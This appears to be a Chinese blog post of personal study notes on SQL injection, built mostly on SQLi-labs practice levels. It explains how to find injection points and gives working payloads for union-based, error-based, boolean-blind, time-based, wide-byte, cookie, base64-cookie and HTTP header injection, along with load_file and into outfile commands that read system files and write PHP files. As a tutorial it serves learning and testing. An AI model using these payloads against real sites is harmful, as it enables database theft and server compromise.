zoukankan      html  css  js  c++  java
  • SQL注入学习(二)

    SQL注入点判断

    ?id=35   +1/-1  查看页面是否发生变化

    select * from tbName where id=$id

    1、?id=35'数字后面加上【' or '' or )】来判断是字符型,还是数字型,如果有报错、有回显的话,用报错注入

      select * from tbName where id=35'

         near ''' at line 1 数字型
         near ''2'' LIMIT 0,1' at line 1 字符型

    2、?id=35 and 1=1 // ?id=35 and 1=2 判断是否存在布尔类型的状态 (网页发生变化了就存在),考虑布尔注入

    3、?id=35 and sleep(5) 判断是否有延时(在浏览器的网络中查看时间线),考虑延时注入

    联合查询(实现跨库跨表查询)

    判断字段个数

       可以使用[order by] 语句来判断当前select 语句所查询的虚拟表的列数。 [order by]语句本意是按照某一列进行排序,在mysql 中可以使用数字来代替具体的列名,比如[order by 1]就是按照第一列进行排序,如果mysql 没有找到对应的列,就会报错[Unknown column]。我们可以依次增加数字,直到数据库报错,以此来确定我们虚拟表的列数。 [order by 1 --+] [order by 2 --+]

    判断显示位置

       得到字段个数之后,可以尝试构造联合查询语句。

    1、 这里我们并不知道表名,根据mysql 数据库特性,select 语句在执行的过程中,并不需要指定表名。

    [?id=33 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15--+]

    [?id=33 union select null,null,null,null,null,null,null,null,null,null,null,null,null,null,null--+]

    2、页面显示的是第一张虚拟表的内容,那么我们可以考虑让第一张虚拟表的查询条件为假,则显示第二条记录。因此构造SQL 语句:

    [?id=33 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 --+]

    [?id=-33 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 --+]

    在执行SQL 语句的时候,可以考虑用火狐浏览器的插件hackbar。

    result:发现某些数字会回显到页面中来。比如现在回显的是3,11

    3、输入一些常用函数来测试 数据库版本 我们可以将数字3 用函数[version()]代替,即可得到数据库的版本。

    [?id=33 and 1=2 union select 1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15 --+]

    当前数据库名

    [?id=33 and 1=2 union select 1,2,version(),4,5,6,7,8,9,10,database(),12,13,14,15 --+]

    报错注入

    在注入点的判断过程中,发现数据库中SQL 语句的报错信息,会显示在页面中,因此可以进行报错注入。

    报错注入的原理,就是在错误信息中执行SQL 语句。触发报错的方式很多,具体细节也不尽相同。此处建议直接背公式即可。

    @group by (分类聚合)重复键冲突【随机能出现查询结果】

    [?id=33 and (select 1 from (select count(),concat((select version() from information_schema.tables limit 0,1),floor(rand()2))x from information_schema.tables group by x)a) --+]

    [?id=33 union select 1,2,concat(left(rand(),3),'^',(select version()),'^')a,count(),5,6,7,8,9,10,11, 12, 13,14,15 from information_schema.tables group by a --+]

    [?id=33 and (select 1 from (select count(),concat('^',(select version() from information_schema.tables limit 0,1),'^',floor(rand()*2))x from information_schema.tables group by x)a) --+]

    @XPATH 报错(低版本不支持xpath报错)

      extractalue()

    [?id=33 and extractvalue(1,concat('^',(select version()),'^')) --+]

      updatexml()

    [?id=33 and updatexml(1,concat('^',(select database()),'^'),1) --+]

    布尔盲注

    原理:利用页面返回的布尔类型状态,正常或者不正常。

    1、获取数据库名 数据库名长度

    [?id=33 and length(database())=1 --+]

    ...(建议用二分法大致判断位置)

    [?id=33 and length(database())=3 --+]

    数据库名 [?id=33 and ascii(substr(database(),1,1))=99 --+]

     2、账密同理

    延时注入

    原理:利用sleep() 语句的延时性,以时间线作为判断条件。

    1、获取数据库名

       获取数据库名长度

    [?id=33 and if((length(database())=3),sleep(5),1)--+]

       数据库名第二位

    [?id=33 and if((ascii(substr(database(),2,1))=109),sleep(5),1)--+]

    。。。。。。

    其它注入

      读写文件

      前提条件:我们也可以利用SQL 注入漏洞读写文件。但是读写文件需要一定的条件

    1、secure-file-priv (可以在phpmyadmin 中看到该变量) 该参数在高版本的mysql 数据库中限制了文件的导入导出操作。改参数可以写在my.ini 配置文件中[mysqld] 下。若要配置此参数,需要修改my.ini 配置文件,并重启mysql 服务。

      关于该参数值的相关说明

          secure-file-priv= 不对mysqld的导入导出操作做限制

          secure-file-priv='c:/a/' 限制mysqld 的导入导出操作发生在c:/a/ 下(子目录有效)

          secure-file-priv=null 限制mysqld 不允许导入导出操作

    2、当前用户具有文件权限

    [select File_priv from mysql.user where user="root" and host="localhost"]查询语句(判断当前用户是否具有权限)

    3、知道要写入目标文件的绝对路径

    C:\WindowsSystem32\driversetchosts 【双右斜线】(因为是转义字符,所以要加多一个)

    C:/Windows/System32/drivers/etc/hostsa 【单左斜线】

    读取文件操作

    【?id=-1' union select 1, load_file('C:WindowsSystem32driversetchosts'), 3 --+ ]】

           load_file('') 读取文件函数

    写入文件操作

    【?id=-33 union select 1, 2,3,4,5,6,7,8,9,10,11,12,13,14,15 into outfile 'E:phpstudywww1.php';】

    【?id=-33 union select 1, 2,3,4,5,6,7,8,9,10,'<?php phpinfo();?>',12,13,14,15 into outfile 'E:phpstudywww2.php';】

           into outfile ‘xxxxxxxxx’ 写入文件

    宽字节注入

      宽字节注入准确来说不是注入手法,而是另外一种比较特殊的情况。为了说明宽字节注入问题,我们以SQLi-labs 32 关为例子。

    使用[?id=1']进行测试的时候,发现提交的单引号会被转移[']。此时,转义后的单引号不再是字符串的标识,会被作为普通字符带入数据库查询。也就是说,我们提交的单引号不会影响到原来SQL 语句的结构。

    我们通过阅读32 关的源码,发现几句非常意思的代码,如下: 此网页在连接数据库时,会将字符编码设置为GBK 编码集合,然后进行SQL 语句拼接,最后进行数据库查询。

    GBK编码依然采用双字节编码方案,其编码范围:8140-FEFE,剔除xx7F码位,共23940个码位。共收录汉字和图形符号21886个,其中汉字(包括部首和构件)21003个,图形符号883个。GBK编码支持国际标准ISO/IEC10646-1和国家标准GB13000-1中的全部中日韩汉字,并包含了BIG5编码中的所有汉字。GBK编码方案于1995年12月15日正式发布,这一版的GBK规范为1.0版。

    转移字符 的编码是5c,正好在GBK 编码范围之内,也就是说我们可以在单引号之前提交一个十六进制编码的字符,与5c 组成一个GBK 编码的汉字。这样SQL 语句传入数据库的时候,转移字符5c ,会被看作GBK 汉字的低位字节编码,从而失去转义的作用。

    如果我们提交这样的参数[?id=1000%df' union select 1,2,3 --+],就可以使用联合查询进行注入了。【0xdf5c 就是一个汉字"運"】

    Cookie注入

    Cookie 注入的注入参数需要通过Cookie 提交,可以通过[document.cookie] 在控制台完成对浏览器Cookie 的读写。

    ​ 我们使用SQLi-labs 第20 关来说明Cookie 注入问题。来到less-20,在控制台输入

    ​ [document.cookie="uname=Dumb' and extractvalue(1,concat(0x7e,database(),0x7e))#"] (用BP抓包,报错注入来实现也可以)

    base64 注入

    我们以SQLI-labs 第22关来说明base64 注入的问题。

    base64 注入也是比较简单的,只不过将注入字段经过base64 编码。经过测试,发现22 关属于Cookie 型的base64 注入。

    我们可以使用报错注入手法,payload ​ [document.cookie="uname=Dumb" and extractvalue(1,concat(0x7e,database(),0x7e))#"]

    在控制台输入 [document.cookie="uname=RHVtYiIgYW5kIGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgweDdlLGRhdGFiYXNlKCksMHg3ZSkpIw=="]

    HTTP 头部注入

    http 头部注入就是指注入字段在HTTP 头部的字段中,这些字段通常有User-Agent、Referer 等。

    @User-Agent 注入 如SQLi-labs 第18 关。

    payload ​ [User-Agent:hacker' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1]

    @Referer 注入 第19 关,注入字段在Referer 中

    [hacker' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1]

     

    如果有错误的地方,就在下面留言给我,我看到后会及时更正的啦~谢谢各位

  • 相关阅读:
    【转】 java中Class对象详解和类名.class, class.forName(), getClass()区别
    106. Construct Binary Tree from Inorder and Postorder Traversal
    105. Construct Binary Tree from Preorder and Inorder Traversal
    107. Binary Tree Level Order Traversal II
    109. Convert Sorted List to Binary Search Tree
    108. Convert Sorted Array to Binary Search Tree
    110. Balanced Binary Tree
    STL容器迭代器失效问题讨论
    113. Path Sum II
    112. Path Sum
  • 原文地址:https://www.cnblogs.com/tsimfeiwan/p/11708165.html
Copyright © 2011-2022 走看看